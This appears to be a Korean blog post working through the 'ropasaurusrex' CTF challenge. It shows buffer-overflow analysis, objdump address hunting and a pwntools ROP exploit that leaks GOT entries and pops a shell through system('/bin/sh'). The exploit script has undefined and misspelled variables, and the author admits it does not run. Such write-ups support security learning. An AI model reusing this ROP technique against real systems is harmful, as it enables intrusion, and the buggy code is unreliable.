일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- 디스크
- 포렌식
- 침해사고대응
- Interceptor
- CodeEngn
- Autoware
- 모바일프로그래밍
- K-sheild Jr
- 안티디버깅
- SW에듀서포터즈
- John the ripper
- upx
- disk
- shadow
- swing
- 파일해시생성
- ctf-d
- ZIP
- Reversing
- Multimedia
- 케쉴주
- Frida
- 리버싱핵심원리
- Android
- crack
- tar
- Mobile
- K-shield Jr 10기
- 써니나타스
- Today
- Total
물먹는산세베리아
ROP 본문
파일명: ropasaurusrex
아무 글자나 입력하니 WIN이라는 단어가 나왔다.
바로 IDA로 까봤다.
main에서 sub_80483f4()라는 함수와 write 함수를 확인할 수 있었고 좀 전에 출력된 WIN도 볼 수 있었다.
버퍼의 크기는 136인데 read함수에서 256byte(0x100)을 입력받기 때문에 BOF취약점이 있다는 걸 확인할 수 있었다.
여기에 system("/bin/sh")을 넣어야 하는데 read, write 모두 인자를 세개씩 갖고 있으므로 "pop; pop; pop; ret" 가젯 주소를 찾는다.
objdump -d ropasaurusrex | grep -B3 ret
주소는 80484b6이다.
read@plt 주소 구하기
objdump -d ropasaurusrex | grep read
read@plt 주소는 804832c
write@plt 주소 구하기
objdump -d ropasaurusrex | grep write
write@plt 주소는 804830c
함수의 GOT구하기
* GOT overwrite: 함수 호출 시 PLT를 참조하고 PLT는 GOT를 참조한다. GOT는 라이브러리의 실제 함수 주소가 쓰여 있기 떄문에 다이나믹 방식의 컴파일에서도 사용 가능하다.)
함수가 jump 하는 곳이 GOT이므로 read()의 GOT는 0x804961c이다.
write의 GOT는 0x8049614이다.
/bin/sh을 변하지 않는 공간인 bss에 넣어주기 위해 system과 read의 주소를 찾고 오프셋을 구한다.
* 제대로 되지 않는다면 info list에서 .text(main의 시작)에 breakpoint를 건 후 실행시킨다.
bss의 주소는 08049628
payload.py
from pwn import*
from time import *
p = process("./ropasaurusrex")
e =ELF("./ropasaurusrex")
read_plt = 0x804832c
read_got = 0x804961c
write_plt = 0x804830c
write_got = 0x8049614
bbs=0x08049628
gadget=0x080484b6
bin_sh="/bin/sh\x00"
offset = 0xaf1b0
payload = ''
payload += 'A'*(0x8c) #BOF
payload += p32(write_plt)
payload += p32(gadget)
payload += p32(read_got) #?
payload += p32(4) #?
payload += p32(read_plt)
payload += p32(gadget)
payload += p32(bss)
payload += p32(8)
payload += p32(read_plt)
payload += p32(gadget)
payload += p32(read_got)
payload += p32(4)
payload += p32(read_plt)
payload += "AAAA"
payload += p32(bss)
p.sendline(payload)
p.sendline("/bin/sh")
time.sleep(1)
read_addr = u32(p.recv(4))
system_addr = read_addr - system_offset
p.sendline(p32(system_addr))
p.interactive()
p.interactive()
문제점: python 3버전에서는 p32를 쓸 수 없다. byte로 값을 읽는다... python3에서 돌려야 하는데 그렇다고 byte로 읽으면 (b"~")또 저렇게 메세지가 뜬다..
'Waregame & CTF > Pwnable' 카테고리의 다른 글
[dreamhack.io] basic_rop_x86 (0) | 2021.05.26 |
---|---|
[dreamhack.io] basic_exploitation_001 (0) | 2021.05.19 |
[pwnable.kr] bof (0) | 2021.05.19 |
collision 문제 (0) | 2021.05.05 |